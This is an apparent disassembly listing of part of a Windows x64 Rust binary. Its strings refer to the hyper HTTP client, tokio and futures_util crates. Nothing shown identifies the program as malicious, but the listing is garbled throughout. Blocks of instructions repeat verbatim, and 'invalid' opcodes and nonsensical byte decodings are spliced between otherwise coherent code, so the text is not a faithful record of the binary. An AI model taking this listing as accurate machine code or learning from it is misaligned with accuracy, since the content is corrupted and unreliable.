movaps xmm3, xmmword [rsp + 0x9c0]
movaps xmmword [rsp + 0xa90], xmm0
movaps xmmword [rsp + 0xaa0], xmm1
movaps xmmword [rsp + 0xab0], xmm2
movaps xmmword [rsp + 0xac0], xmm3
movaps xmm0, xmmword [rsp + 0x9d0]
movaps xmmword [rsp + 0xad0], xmm0
mov rax, qword [rsp + 0x9e0]
mov qword [rsp + 0xae0], rax
mov rax, qword [rsp + 0xa0]
mov byte [rax], 1
cmp r13, 5
je 0x140063bd1
lea rcx, [rsp + 0x1430]
lea rdx, [rsp + 0x1550]
mov r8d, 0x90
call fcn.140121660
movaps xmm0, xmmword [rsp + 0xa90]
movaps xmm1, xmmword [rsp + 0xaa0]
movaps xmm2, xmmword [rsp + 0xab0]
movaps xmm3, xmmword [rsp + 0xac0]
movaps xmmword [rsp + 0xaf0], xmm0
movaps xmmword [rsp + 0xb00], xmm1
movaps xmmword [rsp + 0xb10], xmm2
movaps xmmword [rsp + 0xb20], xmm3
movaps xmm0, xmmword [rsp + 0xad0]
movaps xmmword [rsp + 0xb30], xmm0
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0xb40], rax
mov rcx, qword [rsp + 0x378]
call fcn.140066d50
cmp r13, 3
je 0x140064616
cmp r13, 4
je 0x140064790
mov qword [rsp + 0x120], r13
mov qword [rsp + 0x128], rbp
mov qword [rsp + 0x130], r14
lea rcx, [rsp + 0x138]
lea rdx, [rsp + 0x1430]
mov r8d, 0x90
call fcn.140121660
mov rax, qword [rsp + 0xb40]
mov qword [rsp + 0x218], rax
movaps xmm0, xmmword [rsp + 0xb30]
movups xmmword [rsp + 0x208], xmm0
movdqa xmm0, xmmword [rsp + 0xaf0]
movdqa xmm1, xmmword [rsp + 0xb00]
movdqa xmm2, xmmword [rsp + 0xb10]
movdqa xmm3, xmmword [rsp + 0xb20]
movdqu xmmword [rsp + 0x1f8], xmm3
movdqu xmmword [rsp + 0x1e8], xmm2
movdqu xmmword [rsp + 0x1d8], xmm1
movdqu xmmword [rsp + 0x1c8], xmm0
test byte [rsi + 0x358], bl
je 0x1400647c0
mov qword [rsp + 0x370], r14
lea rdi, [rsp + 0x1c8]
movzx ebp, byte [rsi + 0x490]
test ebp, ebp
je 0x140064471
cmp ebp, 2
jne 0x140064469
mov r14, qword [rsi + 0x498]
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065837
mov rbx, rax
lea rdx, [r14 + 0x18]
mov rax, qword [r14]
mov r8, qword [r14 + 8]
mov r9, qword [r14 + 0x10]
lea rcx, [rsp + 0x390]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0x390]
movdqu xmm1, xmmword [rsp + 0x3a0]
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
jmp 0x140064471
movzx r14d, byte [rsi + 0x491]
lea rdx, [rsi + 0x4b8]
mov rax, qword [rsi + 0x4a0]
mov r8, qword [rsi + 0x4a8]
mov r9, qword [rsi + 0x4b0]
lea rcx, [rsp + 0x3a0]
mov word [rax + riz*4], fs
add eax, dword [rax]
add bh, bh
adc byte [rax - 0x73], cl
xchg esi, eax
fadd dword [rax + rax]
add byte [rax - 0x75], cl
xchg al, al
add al, 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 4, 0
mov word [rax + riz*4], fs
add eax, dword [rax]
add bh, bh
adc byte [rax - 0x73], cl
xchg esi, eax
fadd dword [rax + rax]
add byte [rax - 0x75], cl
xchg al, al
add al, 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 4, 0
mov r9, qword [rsi + 0x4d0]
lea rcx, [rsp + 0x3c0]
call qword [rax]
movzx eax, word [rsi + 0x4e0]
mov byte [rsp + 0x390], bpl
add byte [rax + rcx*4 - 0x4c], al
and al, 0x91
add eax, dword [rax]
add byte [rax - 0x77], cl
pushfq
and al, 0x98
add eax, dword [rax]
add byte [rsi - 0x77], ah
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0x80
add dword [rax], eax
add byte [rax + 0x18024bc], al
add byte [rax], al
add dh, byte [rdx + 0x2c]
add byte [rax + rcx*4 - 0x4c], al
and al, 0x91
add eax, dword [rax]
add byte [rax - 0x77], cl
pushfq
and al, 0x98
add eax, dword [rax]
add byte [rsi - 0x77], ah
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x4c], cl
and al, 0x80
add dword [rax], eax
add byte [rax + 0x18024bc], al
add byte [rax], al
add dh, byte [rdx + 0x2c]
mov rbx, qword [rsp + 0x188]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x1a8]
mov rax, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x1b8]
mov r8, qword [rsp + 0x1c0]
mov rcx, rdi
call qword [rax + 0x10]
mov rax, qword [rsp + 0x3e0]
mov qword [r14 + 0x50], rax
movups xmm0, xmmword [rsp + 0x3d0]
movups xmmword [r14 + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x390]
and al, 0x90
add eax, dword [rax]
add bl, dh
movq mm1, qword [rsp + 0x3a0]
and al, 0x90
add eax, dword [rax]
add bl, dh
movq mm1, qword [rsp + 0x3a0]
movdqu xmm2, xmmword [rsp + 0x3b0]
movdqu xmm3, xmmword [rsp + 0x3c0]
movdqu xmmword [r14 + 0x30], xmm3
movdqu xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
lea rdi, [rsp + 0x1840]
lea rdx, [rsp + 0x120]
mov r8d, 0x100
mov rcx, rdi
call fcn.140121660
mov rcx, r15
call fcn.14005cd00
lea rcx, [rsi + 0x360]
mov r8d, 0x100
mov rdx, rdi
call fcn.140121660
jmp 0x14005f8e1
lock dec qword [r8 + 8]
jne 0x1400641fb
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400641fb
mov ebx, 3
mov r14, rbp
cmp byte [rsi + 0x490], 2
jb 0x140064652
mov rdi, qword [rsi + 0x498]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x4b8]
mov rax, qword [rsi + 0x4a0]
mov rdx, qword [rsi + 0x4a8]
mov r8, qword [rsi + 0x4b0]
call qword [rax + 0x10]
lea rcx, [rsi + 0x4d8]
mov rax, qword [rsi + 0x4c0]
mov rdx, qword [rsi + 0x4c8]
mov r8, qword [rsi + 0x4d0]
call qword [rax + 0x10]
cmp byte [rsi + 0x460], 2
jb 0x1400646c4
mov rdi, qword [rsi + 0x468]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x488]
mov rax, qword [rsi + 0x470]
mov rdx, qword [rsi + 0x478]
mov r8, qword [rsi + 0x480]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x2b0]
test rax, rax
je 0x140064708
lock dec qword [rax]
jne 0x140064708
mov rcx, qword [rsi + 0x2b0]
mov rdx, qword [rsi + 0x2b8]
call case.0x14009a20c.177
lea rcx, [rsi + 0x2d0]
call fcn.14005ad80
mov rax, qword [rsi + 0x350]
test rax, rax
je 0x140064732
lock dec qword [rax]
jne 0x140064732
lea rcx, [rsi + 0x350]
call fcn.1400cb9d0
mov rdi, qword [rsp + 0x5c0]
mov qword [rdi], rbx
mov qword [rdi + 8], r14
lea rcx, [rdi + 0x10]
lea rdx, [rsp + 0x15e0]
mov r8d, 0x90
call fcn.140121660
mov rax, rdi
mov cl, 1
mov byte [rsi + 0xbd0], cl
movaps xmm6, xmmword [rsp + 0x1a70]
movaps xmm7, xmmword [rsp + 0x1a80]
movaps xmm8, xmmword [rsp + 0x1a90]
add rsp, 0x1aa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x15e0]
lea rdx, [rsp + 0x1430]
mov r8d, 0x90
call fcn.140121660
mov rbx, rbp
cmp byte [rsi + 0x490], 2
jb 0x140064652
jmp 0x140064627
lea rcx, [rsp + 0x120]
call fcn.140056eb0
mov ebx, 3
mov r14, r15
cmp byte [rsi + 0x490], 2
jae 0x140064627
jmp 0x140064652
movq mm1, qword [rsp + 0x680]
movdqa xmm2, xmmword [rsp + 0x690]
movdqa xmm3, xmmword [rsp + 0x6a0]
movups xmmword [rcx + 0xb0], xmm0
movdqu xmmword [rcx + 0xc0], xmm1
movdqu xmmword [rcx + 0xd0], xmm2
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rcx + 0xf0], xmm0
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x6c0], al
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x6c0], al
movups xmmword [rcx + 0x100], xmm0
movdqa xmm0, xmmword [rsp + 0x6d0]
movdqu xmmword [rcx + 0x110], xmm0
mov rax, qword [rsp + 0x6e0]
mov qword [rcx + 0x120], rax
pxor xmm0, xmm0
sal bl, 0xf
jg 0x140064e9d
sub byte [rcx], al
add byte [rax], al
sal bl, 0xf
jg 0x140064e9d
sub byte [rcx], al
add byte [rax], al
mov qword [rcx + 0x138], 0
jmp 0x1400655fa
call fcn.140126720
jmp 0x140062684
mov rcx, rdi
call fcn.1401262a0
jmp 0x1400624cd
mov rcx, rdi
call fcn.1401262a0
jmp 0x140062638
add al, 0xa3
adc eax, dword [rax]
mov edx, 0x80
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065c27
dec r14
and r14, 0xfffffffffffffff0
lea rcx, [r15 + r14]
add rcx, 0x10
mov qword [rax], rdi
movaps xmm0, xmmword [rsp + 0xbb0]
movdqa xmm1, xmmword [rsp + 0xbc0]
movdqa xmm2, xmmword [rsp + 0xbd0]
movdqa xmm3, xmmword [rsp + 0xbe0]
movups xmmword [rax + 8], xmm0
movdqu xmmword [rax + 0x18], xmm1
movdqu xmmword [rax + 0x28], xmm2
movdqu xmmword [rax + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0xbf0]
movups xmmword [rax + 0x48], xmm0
movaps xmm0, xmmword [rsp + 0xc00]
movups xmmword [rax + 0x58], xmm0
movdqa xmm0, xmmword [rsp + 0xc10]
movdqu xmmword [rax + 0x68], xmm0
mov rdx, qword [rsp + 0xc20]
mov qword [rax + 0x78], rdx
lea r8, [0x140158778]
mov rdx, rax
call qword [rbx + 0x18]
lea r15, [rsp + 0x12a0]
jmp 0x140063ff1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rax + 0xd8]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140065b92
inc rax
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd8], rax
mov rdi, qword [rcx + 0xe0]
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x390]
mov r8d, 0x88
call fcn.140121660
cmp rdi, 2
je 0x140065c54
mov rax, qword [rsp + 0x120]
movups xmm0, xmmword [rsp + 0x408]
movaps xmmword [rsp + 0x6e0], xmm0
movups xmm0, xmmword [rsp + 0x3f8]
movaps xmmword [rsp + 0x6d0], xmm0
movups xmm0, xmmword [rsp + 0x3e8]
movaps xmmword [rsp + 0x6c0], xmm0
invalid
add byte [rax], al
movups xmm0, xmmword [rsp + 0x3d8]
movaps xmmword [rsp + 0x6b0], xmm0
movups xmm0, xmmword [rsp + 0x398]
movups xmm1, xmmword [rsp + 0x3a8]
movups xmm2, xmmword [rsp + 0x3b8]
movups xmm3, xmmword [rsp + 0x3c8]
movaps xmmword [rsp + 0x6a0], xmm3
movaps xmmword [rsp + 0x690], xmm2
movaps xmmword [rsp + 0x680], xmm1
movaps xmmword [rsp + 0x670], xmm0
mov rbx, qword [rax]
test dil, 1
je 0x1400654d4
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe8]
lock inc qword [r14]
jle case.0x14005f8a0.2
mov rbp, r15
movzx eax, byte [0x14019f308]
mov edx, 0x180
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065c18
lea r15, [r14 + 0x10]
mov rcx, rax
and rcx, 0xffffffffffffff80
lea r13, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14015a958]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
mov dword [rcx + 0xa0], esi
mov dword [rcx + 0xa0], esi
mov qword [rcx + 0xa8], rbx
movaps xmm0, xmmword [rsp + 0x670]
movdqa xmm1, xmmword [rsp + 0x680]
movdqa xmm2, xmmword [rsp + 0x690]
movdqa xmm3, xmmword [rsp + 0x6a0]
movups xmmword [rcx + 0xb0], xmm0
movdqu xmmword [rcx + 0xc0], xmm1
movdqu xmmword [rcx + 0xd0], xmm2
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rcx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x6c0]
movups xmmword [rcx + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0x6d0]
movups xmmword [rcx + 0x110], xmm0
movdqa xmm0, xmmword [rsp + 0x6e0]
movdqu xmmword [rcx + 0x120], xmm0
pxor xmm0, xmm0
movdqa xmmword [rcx + 0x130], xmm0
mov qword [rcx + 0x140], 0
mov rax, qword [r14 + 0x88]
mov qword [rcx + 0x98], rax
mov rcx, qword [r14 + 0x68]
mov rax, qword [r14 + 0x80]
and rax, rbx
lea rdx, [rax + rax*2]
lea rdi, [rcx + rdx*8]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r8b
jne 0x14006576e
lea rax, [r14 + 0x78]
mov qword [rsp + 0x10d0], rdi
mov qword [rsp + 0x10d8], rax
mov qword [rsp + 0x10e0], rbx
movzx eax, byte [r14 + 0x90]
test al, al
je 0x1400656a6
mov rcx, qword [rsp + 0x10d0]
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx], dl
jne 0x14006577b
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [r13], rax
cmp rax, 0x3f
jbe 0x140065bf1
mov r15, rbp
jmp 0x14006568c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe8]
lock inc qword [r14]
jle case.0x14005f8a0.2
movzx eax, byte [0x14019f308]
mov edx, 0x180
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140065c18
mov rcx, rax
and rcx, 0xffffffffffffff80
lea r13, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14015a868]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
mov qword [rcx + 0xa8], rbx
movaps xmm0, xmmword [rsp + 0x670]
movdqa xmm1, xmmword [rsp + 0x680]
movdqa xmm2, xmmword [rsp + 0x690]
movdqa xmm3, xmmword [rsp + 0x6a0]
movups xmmword [rcx + 0xb0], xmm0
add bl, dh
movq qword [rcx + 0xc0], mm1
add bl, dh
movq qword [rcx + 0xc0], mm1
movdqu xmmword [rcx + 0xd0], xmm2
xchg ecx, eax
rol byte [rax], 1
add byte [rax], al
movdqu xmmword [rcx + 0xe0], xmm3
movaps xmm0, xmmword [rsp + 0x6b0]
movups xmmword [rcx + 0xf0], xmm0
movaps xmm0, xmmword [rsp + 0x6c0]
movups xmmword [rcx + 0x100], xmm0
movaps xmm0, xmmword [rsp + 0x6d0]
movups xmmword [rcx + 0x110], xmm0
movdqa xmm0, xmmword [rsp + 0x6e0]
movdqu xmmword [rcx + 0x120], xmm0
pxor xmm0, xmm0
movdqa xmmword [rcx + 0x130], xmm0
mov qword [rcx + 0x140], 0
mov rax, qword [r14 + 0x78]
mov qword [rcx + 0x98], rax
mov dword [rcx + 0x98], eax
mov rcx, qword [r14 + 0x58]
mov rax, qword [r14 + 0x70]
and rax, rbx
lea rdx, [rax + rax*2]
lea rdi, [rcx + rdx*8]
mov r8b, 1
xor eax, eax
lock cmpxchg byte [rcx + rdx*8], r8b
jne 0x140065761
lea rax, [r14 + 0x68]
mov qword [rsp + 0x10d0], rdi
mov qword [rsp + 0x10d8], rax
mov qword [rsp + 0x10e0], rbx
movzx eax, byte [r14 + 0x80]
test al, al
je 0x1400656f0
mov rcx, qword [rsp + 0x10d0]
xor edx, edx
mov al, 1
lock cmpxchg byte [rcx], dl
jne 0x140065785
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax + 0x30]
mov rax, 0xffffffffffffffc0
lock xadd qword [r13], rax
cmp rax, 0x3f
cmp eax, 0x3f
cmp eax, 0x3f
jbe 0x140065bf1
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140065722
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
adc byte [r9 + rcx*4 - 0x17], r9b
mov rax, qword [r13 + 0x10]
mov rcx, r13
call qword [rax + 0x10]
jmp 0x140065722
lea rcx, [rsp + 0x10d0]
mov rdx, r13
call fcn.14009d3f0
mov byte [rsp + 0x8d0], 0
mov qword [rsp + 0x10d0], r15
mov qword [rsp + 0x10d8], r13
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x10e0], rax
lea rcx, [rsp + 0x10d0]
call fcn.1401034c0
mov r15, rbp
jmp 0x140065722
lea rcx, [rsp + 0x10d0]
mov rdx, r13
call fcn.14009d3f0
add byte [rbx + 0x139c0605], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x139c0605], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xe8]
mov rdx, r13
call fcn.1400ff170
mov eax, dword [0x14019f30c]
add eax, 0x139be4
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd8]
mov ecx, 0x84
add byte [rax], al
add byte [rax], al
mov eax, 0xcc
lock cmpxchg qword [r13], rcx
add byte [rax], al
add al, dh
cmpxchg qword [r13], rcx
je 0x140063ff1
mov rax, qword [r13 + 0x10]
mov eax, dword [rbp + 0x10]
mov rcx, r13
call qword [rax + 0x20]
jmp 0x140063ff1
invalid
invalid
invalid
mov rcx, rdi
call fcn.1401262a0
jmp 0x140065629
mov rcx, rdi
call fcn.1401262a0
or ecx, dword [rax + rax]
or ecx, dword [rax + rax]
jmp 0x140065469
call fcn.140126720
jmp 0x1400654ab
add cl, ch
std
invalid
call fcn.140126720
jmp 0x14006566b
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rsp
mov edx, 0x36
call fcn.1401279a0
str word [r13 + rcx*4 + 5]
xchg ebx, eax
invalid
ud2
mov qword [rdi + 0x7c8], 1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rsp
mov edx, 0x28
call fcn.140122660
mov qword [rsi + 0x7c8], 1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rsp
mov edx, 0x28
call fcn.140122660
lea rcx, str.not_dropped
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
mov edx, 0xb
call fcn.140122a20
lea rcx, [0x140158c68]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.1401279a0
lea rcx, [0x140158c68]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
mov edx, 0x28
call fcn.1401279a0
mov ecx, 8
mov edx, 0x20
call fcn.140122190
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r11
call fcn.140122580
mov edi, ebp
jmp 0x140065a75
mov bl, 3
jmp 0x140065a75
lea rcx, str.cannot_poll_Select_twiceC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x140159148]
mov edx, 0x18
call fcn.140122a20
lea rcx, [rsp + 0x568]
mov rax, qword [rsp + 0x550]
mov rdx, qword [rsp + 0x558]
mov r8, qword [rsp + 0x560]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x390]
movaps xmm1, xmmword [rsp + 0x3a0]
movaps xmm2, xmmword [rsp + 0x3b0]
movaps xmm3, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x670], xmm0
movaps xmmword [rsp + 0x680], xmm1
movaps xmmword [rsp + 0x690], xmm2
movaps xmmword [rsp + 0x6a0], xmm3
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0x6b0], xmm0
mov rax, qword [rsp + 0x3dd]
mov qword [rsp + 0x6bd], rax
mov rax, qword [rsp + 0x3dd]
mov qword [rsp + 0xf5d], rax
movaps xmm0, xmmword [rsp + 0x3d0]
movaps xmmword [rsp + 0xf50], xmm0
movdqa xmm0, xmmword [rsp + 0x390]
movdqa xmm1, xmmword [rsp + 0x3a0]
movdqa xmm2, xmmword [rsp + 0x3b0]
movdqa xmm3, xmmword [rsp + 0x3c0]
movdqa xmmword [rsp + 0xf40], xmm3
movdqa xmmword [rsp + 0xf30], xmm2
movdqa xmmword [rsp + 0xf20], xmm1
movdqa xmmword [rsp + 0xf10], xmm0
mov edi, ebp
jmp 0x140065a75
cmp r12b, 2
jne 0x1400659d6
mov rsi, qword [rsp + 0x128]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
test rax, rax
je 0x1400659e3
lea rcx, [rsp + 0x148]
mov rdx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x150]
test rax, rax
jne 0x1400659f0
jmp 0x140065a0b
mov rax, qword [rsp + 0x130]
test rax, rax
jne 0x1400659ac
mov rax, qword [rsp + 0x150]
test rax, rax
je 0x140065a0b
lea rcx, [rsp + 0x168]
mov rdx, qword [rsp + 0x158]
mov r8, qword [rsp + 0x160]
call qword [rax + 0x10]
movaps xmm0, xmmword [rsp + 0x390]
movdqa xmm1, xmmword [rsp + 0x3a0]
movdqa xmm2, xmmword [rsp + 0x3b0]
movdqa xmm3, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0xf10], xmm0
movdqa xmmword [rsp + 0xf20], xmm1
movdqa xmmword [rsp + 0xf30], xmm2
movdqa xmmword [rsp + 0xf40], xmm3
movdqa xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0xf50], xmm0
mov rax, qword [rsp + 0x3dd]
mov qword [rsp + 0xf5d], rax
mov bl, 2
mov byte [rsp + 0x120], bl
mov byte [rsp + 0x121], dil
lea rax, [0x140146fd8]
mov qword [rsp + 0x20], rax
lea rcx, str.domain_is_valid_Uri
lea r9, [0x14015d2d0]
lea r8, [rsp + 0x120]
mov edx, 0x13
call fcn.140122900
lea rcx, str.not_dropped
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
mov edx, 0xb
call fcn.140122a20
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x140159160]
mov edx, 0x28
call fcn.140122660
mov ecx, 8
mov edx, 0x140
call fcn.140122190
lea rcx, str.Ready_polled_after_completionC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x14015b0f0]
mov edx, 0x1d
call fcn.140122a20
mov ecx, 8
mov edx, 0x38
call fcn.140122190
mov rax, qword [rsp + 0x670]
test rax, rax
je 0x140065b36
lea rcx, [rsp + 0x688]
mov edx, 0x26
xor r8d, r8d
call qword [rax + 0x10]
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x140065b46
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE_
lea r9, [0x14015d270]
lea r8, [rsp + 0xf10]
mov edx, 0x17
call fcn.140122900
lea rcx, str.authority_implies_host
lea r8, [0x14015c770]
mov edx, 0x16
call fcn.140122a20
mov ecx, 8
mov edx, 0x1b8
call fcn.140122190
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401228a0
mov ecx, 0x80
mov edx, 0x280
call fcn.140122190
lea rcx, [rsp + 0x120]
call fcn.14005a510
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd8]
xor eax, eax
mov byte [rsp + 0x120], al
lea rdx, [0x140158760]
lea rcx, [rsp + 0x120]
call fcn.140127580
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
mov ecx, 8
mov edx, 0x48
call fcn.140122190
mov ecx, 0x80
mov edx, 0x100
call fcn.140122190
mov ecx, 8
mov edx, 0x80
call fcn.140122190
mov ecx, 8
mov edx, 0x78
call fcn.140122190
mov ecx, 8
mov edx, 0x10
call fcn.140122190
cmp byte [rsp + 0x1a0], 2
je 0x140065bba
lea rsi, [rsp + 0x128]
lea rcx, [rsp + 0x130]
call fcn.140058330
mov rcx, rsi
call fcn.140069830
mov rax, qword [rsp + 0x128]
lock dec qword [rax]
jne 0x140065bba
mov rcx, qword [rsp + 0x128]
call fcn.14002e2a0
jmp 0x140065bba
mov rdi, qword [rbp - 8]
test rdi, rdi
jne 0x1400667d6
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov r8, rsi
call fcn.1400cefe0
mov rdi, qword [rsp + 0x50]
mov rax, rdi
neg rax
jo 0x1400667d6
lea rcx, [rsp + 0x50]
call fcn.140081f50
test rdi, rdi
je 0x1400667d6
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400667d6
cmp byte [rsp + 0x24], 0
jne 0x1400667f0
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400669f0
xor eax, eax
mov rcx, qword [rsp + 0x38]
xchg byte [rcx], al
cmp al, 2
jne 0x140066803
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsi], 2
jb 0x140066830
mov rdi, qword [rsi + 8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, [rsi + 0x38]
lea rcx, [rsi + 0x28]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
